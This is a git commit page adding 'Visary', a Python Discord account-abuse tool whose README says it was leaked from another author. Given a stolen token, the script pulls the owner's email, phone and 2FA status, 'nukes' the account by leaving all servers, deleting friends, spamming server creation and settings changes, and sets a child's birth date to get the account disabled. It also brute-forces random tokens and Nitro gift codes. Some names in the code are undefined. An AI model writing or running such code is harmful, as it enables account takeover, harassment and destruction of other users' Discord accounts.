e
This commit is contained in:
commit
329ac679ad
3 changed files with 303 additions and 0 deletions
33
README.md
Normal file
33
README.md
Normal file
|
@ -0,0 +1,33 @@
|
|||
# Visary
|
||||
|
||||
Visary is a tool made by **rezizt** and leaked by me.
|
||||
|
||||
## Installation
|
||||
|
||||
```bash
|
||||
pip install -r requirements.txt
|
||||
```
|
||||
|
||||
## Usage
|
||||
|
||||
```bash
|
||||
python visary.py
|
||||
```
|
||||
|
||||
## Rezizt
|
||||
|
||||
banning me from your server will be useless.
|
||||
|
||||
<img src="https://syz.shx.gg/ecmwUX.png"/>
|
||||
|
||||
## Skid
|
||||
|
||||
Visary is a skid of [JAJAJA](https://github.com/azael1337/Jajaja-Account-Nuker)
|
||||
|
||||
Proofs:
|
||||
|
||||
<img src="https://roblox.is-terrible.com/XFt2Z0.png"/>
|
||||
|
||||
## Discord
|
||||
|
||||
! Игнатий🌌#1292
|
3
requirements.txt
Normal file
3
requirements.txt
Normal file
|
@ -0,0 +1,3 @@
|
|||
colorama
|
||||
requests
|
||||
pyfiglet
|
267
visary.py
Normal file
267
visary.py
Normal file
|
@ -0,0 +1,267 @@
|
|||
# -*- coding: utf-8 -*-
|
||||
|
||||
from colorama import Fore, init
|
||||
import subprocess, requests, ctypes, os, webbrowser, pyfiglet
|
||||
from pathlib import Path
|
||||
import random, string
|
||||
from requests import Session
|
||||
print(Fore.RED + '\n -- ' + Fore.WHITE + 'Loading...')
|
||||
os.system('cls')
|
||||
|
||||
def badges(token):
|
||||
while True:
|
||||
url = 'https://discord.com/api/v6/hypesquad/online'
|
||||
option = str(input('[1] Hypersquad Bravery\n[2] Hypersquad Brilliance\n[3] Hypersquad Balance\n\n> Select a Discord Badge: '))
|
||||
if option in ('1', 'Hypersquad Bravery', 'House of Bravery', 'Bravery'):
|
||||
house_of_bravery = requests.post(url, json={'house_id': '1'}, headers={'authorization': token})
|
||||
if house_of_bravery.status_code == 204:
|
||||
print('> Status: Success | Type: Hypersquad Bravery\n')
|
||||
else:
|
||||
if house_of_bravery.status_code == 429:
|
||||
rate_limited()
|
||||
else:
|
||||
if house_of_bravery.status_code == 401:
|
||||
invalid_token()
|
||||
break
|
||||
else:
|
||||
print('%s\n' % house_of_bravery.text)
|
||||
elif option in ('2', 'Hypersquad Brilliance', 'House of Brilliance', 'Brilliance'):
|
||||
house_of_brilliance = requests.post(url, json={'house_id': '2'}, headers={'authorization': token})
|
||||
if house_of_brilliance.status_code == 204:
|
||||
print('> Status: Success | Type: Hypersquad Brilliance\n')
|
||||
else:
|
||||
if house_of_brilliance.status_code == 429:
|
||||
rate_limited()
|
||||
else:
|
||||
if house_of_brilliance.status_code == 401:
|
||||
invalid_token()
|
||||
break
|
||||
else:
|
||||
print('%s\n' % house_of_brilliance.text)
|
||||
elif option in ('3', 'Hypersquad Balance', 'House of Balance', 'Balance'):
|
||||
house_of_balance = requests.post(url, json={'house_id': '3'}, headers={'authorization': token})
|
||||
if house_of_balance.status_code == 204:
|
||||
print('> Status: Success | Type: Hypersquad Balance\n')
|
||||
else:
|
||||
if house_of_balance.status_code == 429:
|
||||
rate_limited()
|
||||
else:
|
||||
if house_of_balance.status_code == 401:
|
||||
invalid_token()
|
||||
break
|
||||
else:
|
||||
print('%s\n' % house_of_balance.text)
|
||||
else:
|
||||
print('> Status: Error | Invalid option\n')
|
||||
|
||||
|
||||
def unverify(token):
|
||||
headers = {'Authorization': token}
|
||||
return requests.get('https://discord.com/api/v6/guilds/0/members', headers=headers)
|
||||
|
||||
|
||||
def Nitrogen():
|
||||
init(convert=True)
|
||||
print(('%s how many codes?%s ' % (Fore.CYAN, Fore.WHITE)), end='')
|
||||
amount = int(input())
|
||||
for i in range(amount):
|
||||
code = 'https://discordapp.com/gifts/%s' % ''.join(random.choices((string.ascii_letters + string.digits), k=16))
|
||||
print('Code: %s' % code)
|
||||
with open('codes.txt', 'a') as (f):
|
||||
f.write('%s\n' % code)
|
||||
|
||||
|
||||
def tokenDisable(token):
|
||||
r = requests.patch('https://discordapp.com/api/v6/users/@me', headers={'Authorization': token}, json={'date_of_birth': '2015-7-16'})
|
||||
if r.status_code == 400:
|
||||
print(f"[{Fore.RED}+{Fore.RESET}] Account disabled successfully")
|
||||
input('Press any key to exit...')
|
||||
else:
|
||||
print(f"[{Fore.RED}-{Fore.RESET}] Invalid token")
|
||||
input('Press any key to exit...')
|
||||
|
||||
|
||||
def tokenFuck(token):
|
||||
headers = {'Authorization': token}
|
||||
print(f"[{Fore.RED}+{Fore.RESET}] Nuking...")
|
||||
for guild in guildsIds:
|
||||
requests.delete(f"https://discord.com/api/v6/users/@me/guilds/{guild}", headers=headers)
|
||||
else:
|
||||
for friend in friendsIds:
|
||||
requests.delete(f"https://discord.com/api/v6/users/@me/relationships/{friend}", headers=headers)
|
||||
else:
|
||||
for i in range(50):
|
||||
payload = {'name':f"JAJAJA {i}",
|
||||
'region':'europe', 'icon':None, 'channels':None}
|
||||
requests.post('https://discord.com/api/v6/guilds', headers=headers, json=payload)
|
||||
else:
|
||||
modes = cycle(['light', 'dark'])
|
||||
while True:
|
||||
setting = {'theme':next(modes),
|
||||
'locale':random.choice(['ja', 'zh-TW', 'ko', 'zh-CN'])}
|
||||
requests.patch('https://discord.com/api/v6/users/@me/settings', headers=headers, json=setting)
|
||||
|
||||
|
||||
def tokengen():
|
||||
chars = '-abcdefghijklmnopq_rstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ123456789'
|
||||
ascii_banner = pyfiglet.figlet_format('Token generator')
|
||||
print(ascii_banner)
|
||||
file_path = Path('tokens.txt')
|
||||
ilosc = input('How many tokens to generate: \n')
|
||||
ilosc = int(ilosc)
|
||||
os.system('cls')
|
||||
print('Generating working tokens.....')
|
||||
print('Please wait')
|
||||
working = '[WORK] '
|
||||
err = '[ERROR] '
|
||||
for i in range(ilosc):
|
||||
token1 = ''
|
||||
token2 = ''
|
||||
for c in range(84):
|
||||
token1 += random.choice(chars)
|
||||
else:
|
||||
token2 = 'mfa.'
|
||||
token1 = str(token1)
|
||||
token2 = str(token2)
|
||||
token = token1 + token2
|
||||
headers = {'Authorization': token}
|
||||
src = requests.get('https://discord.com/api/v6/auth/login', headers=headers)
|
||||
try:
|
||||
if src.status_code == 200:
|
||||
workingtoken = working + token
|
||||
print(workingtoken)
|
||||
else:
|
||||
print(f"Invalid Token {token}")
|
||||
except Exception:
|
||||
print("Yeah we can't contact discordapp.com")
|
||||
|
||||
|
||||
def tokencheck(token):
|
||||
headers = {'Authorization':token,
|
||||
'Content-Type':'application/json'}
|
||||
src = requests.get('https://discordapp.com/api/v6/auth/login', headers=headers)
|
||||
try:
|
||||
if src.status_code == 200:
|
||||
print('Token Works!')
|
||||
else:
|
||||
print('Invalid Token.')
|
||||
except Exception:
|
||||
print("Yeah we can't contact discordapp.com")
|
||||
|
||||
|
||||
def tokenInfo(token):
|
||||
headers = {'Authorization':token,
|
||||
'Content-Type':'application/json'}
|
||||
r = requests.get('https://discord.com/api/v6/users/@me', headers=headers)
|
||||
if r.status_code == 200:
|
||||
userName = r.json()['username'] + '#' + r.json()['discriminator']
|
||||
userID = r.json()['id']
|
||||
phone = r.json()['phone']
|
||||
email = r.json()['email']
|
||||
mfa = r.json()['mfa_enabled']
|
||||
print(f"\n [{Fore.RED}User ID{Fore.RESET}] {userID}\n [{Fore.RED}User Name{Fore.RESET}] {userName}\n [{Fore.RED}2 Factor{Fore.RESET}] {mfa}\n [{Fore.RED}Email{Fore.RESET}] {email}\n [{Fore.RED}Phone number{Fore.RESET}] {phone if phone else ''}\n [{Fore.RED}Token{Fore.RESET}] {token}\n ")
|
||||
input()
|
||||
|
||||
|
||||
def three():
|
||||
print(getBanner3())
|
||||
print(f"[{Fore.RED}>{Fore.RESET}] Your choice", end='')
|
||||
choice = str(input(' : '))
|
||||
if choice == '1':
|
||||
os.system('cls')
|
||||
print(f"[{Fore.RED}>{Fore.RESET}] Account token", end='')
|
||||
token = input(' : ')
|
||||
unverify(token)
|
||||
else:
|
||||
if choice == '2':
|
||||
os.system('cls')
|
||||
print(f"[{Fore.RED}>{Fore.RESET}] Account token", end='')
|
||||
token = input(' : ')
|
||||
badges(token)
|
||||
|
||||
|
||||
def two():
|
||||
print(getBanner2())
|
||||
print(f"[{Fore.RED}>{Fore.RESET}] Your choice", end='')
|
||||
choice = str(input(' : '))
|
||||
if choice == '1':
|
||||
os.system('cls')
|
||||
print('Error not finnished')
|
||||
else:
|
||||
if choice == '2':
|
||||
os.system('cls')
|
||||
Nitrogen()
|
||||
|
||||
|
||||
def one():
|
||||
print(getBanner1())
|
||||
print(f"[{Fore.RED}>{Fore.RESET}] Your choice", end='')
|
||||
choice = str(input(' : '))
|
||||
if choice == '1':
|
||||
os.system('cls')
|
||||
print(f"[{Fore.RED}>{Fore.RESET}] Account token", end='')
|
||||
token = input(' : ')
|
||||
tokencheck(token)
|
||||
else:
|
||||
if choice == '2':
|
||||
os.system('cls')
|
||||
print(f"[{Fore.RED}>{Fore.RESET}] Account token", end='')
|
||||
token = input(' : ')
|
||||
tokenInfo(token)
|
||||
else:
|
||||
if choice == '3':
|
||||
os.system('cls')
|
||||
tokengen()
|
||||
else:
|
||||
if choice == '4':
|
||||
os.system('cls')
|
||||
print(f"[{Fore.RED}>{Fore.RESET}] Account token", end='')
|
||||
token = input(' : ')
|
||||
tokenFuck(token)
|
||||
else:
|
||||
if choice == '5':
|
||||
os.system('cls')
|
||||
print(f"[{Fore.RED}>{Fore.RESET}] Account token", end='')
|
||||
token = input(' : ')
|
||||
tokenDisable(token)
|
||||
|
||||
|
||||
def getBanner3():
|
||||
banner3 = f"\n\n ██╗ ██╗██╗███████╗ █████╗ ██████╗ ██╗ ██╗\n ██║ ██║██║██╔════╝██╔══██╗██╔══██╗╚██╗ ██╔╝\n ██║ ██║██║███████╗███████║██████╔╝ ╚████╔╝ \n ╚██╗ ██╔╝██║╚════██║██╔══██║██╔══██╗ ╚██╔╝ \n ╚████╔╝ ██║███████║██║ ██║██║ ██║ ██║ \n ╚═══╝ ╚═╝╚══════╝╚═╝ ╚═╝╚═╝ ╚═╝ ╚═╝\n Misc commands\n [{Fore.RED}1[+]{Fore.RESET}] Unverify email\n [{Fore.RED}2[+]{Fore.RESET}] change hypesquad\n\n ".replace('░', f"{Fore.RED}░{Fore.RESET}")
|
||||
return banner3
|
||||
|
||||
|
||||
def getBanner2():
|
||||
banner2 = f"\n\n ██╗ ██╗██╗███████╗ █████╗ ██████╗ ██╗ ██╗\n ██║ ██║██║██╔════╝██╔══██╗██╔══██╗╚██╗ ██╔╝\n ██║ ██║██║███████╗███████║██████╔╝ ╚████╔╝ \n ╚██╗ ██╔╝██║╚════██║██╔══██║██╔══██╗ ╚██╔╝ \n ╚████╔╝ ██║███████║██║ ██║██║ ██║ ██║ \n ╚═══╝ ╚═╝╚══════╝╚═╝ ╚═╝╚═╝ ╚═╝ ╚═╝\n Nitro commands\n \n [{Fore.RED}1[+]{Fore.RESET}] Nitro checker(not done)\n [{Fore.RED}2[+]{Fore.RESET}] Nitro Generator\n\n ".replace('░', f"{Fore.RED}░{Fore.RESET}")
|
||||
return banner2
|
||||
|
||||
|
||||
def getBanner1():
|
||||
banner1 = f"\n\n ██╗ ██╗██╗███████╗ █████╗ ██████╗ ██╗ ██╗\n ██║ ██║██║██╔════╝██╔══██╗██╔══██╗╚██╗ ██╔╝\n ██║ ██║██║███████╗███████║██████╔╝ ╚████╔╝ \n ╚██╗ ██╔╝██║╚════██║██╔══██║██╔══██╗ ╚██╔╝ \n ╚████╔╝ ██║███████║██║ ██║██║ ██║ ██║ \n ╚═══╝ ╚═╝╚══════╝╚═╝ ╚═╝╚═╝ ╚═╝ ╚═╝\n Token commands\n [{Fore.RED}1[+]{Fore.RESET}] Token checker\n [{Fore.RED}2[+]{Fore.RESET}] Token info\n [{Fore.RED}3[+]{Fore.RESET}] Token Generator\n [{Fore.RED}4[+]{Fore.RESET}] Token Nuker\n [{Fore.RED}5[+]{Fore.RESET}] Token Terminator\n\n\n ".replace('░', f"{Fore.RED}░{Fore.RESET}")
|
||||
return banner1
|
||||
|
||||
|
||||
def getBanner():
|
||||
banner = f"\n\n\n Made by REZIZT. \n Discord : https://discord.gg/6GYVCq9\n\n ██╗ ██╗██╗███████╗ █████╗ ██████╗ ██╗ ██╗\n ██║ ██║██║██╔════╝██╔══██╗██╔══██╗╚██╗ ██╔╝\n ██║ ██║██║███████╗███████║██████╔╝ ╚████╔╝ \n ╚██╗ ██╔╝██║╚════██║██╔══██║██╔══██╗ ╚██╔╝ \n ╚████╔╝ ██║███████║██║ ██║██║ ██║ ██║ \n ╚═══╝ ╚═╝╚══════╝╚═╝ ╚═╝╚═╝ ╚═╝ ╚═╝ \n\n [{Fore.RED}1[+]{Fore.RESET}] Token commands\n [{Fore.RED}2[+]{Fore.RESET}] Nitro commands\n [{Fore.RED}3[+]{Fore.RESET}] Misc commands\n\n\n ".replace('░', f"{Fore.RED}░{Fore.RESET}")
|
||||
return banner
|
||||
|
||||
|
||||
def startMenu():
|
||||
print(getBanner())
|
||||
print(f"[{Fore.RED}>{Fore.RESET}] Your choice", end='')
|
||||
choice = str(input(' : '))
|
||||
if choice == '1':
|
||||
os.system('cls')
|
||||
one()
|
||||
else:
|
||||
if choice == '2':
|
||||
os.system('cls')
|
||||
two()
|
||||
else:
|
||||
if choice == '3':
|
||||
os.system('cls')
|
||||
three()
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
startMenu()
|
Loading…
Reference in a new issue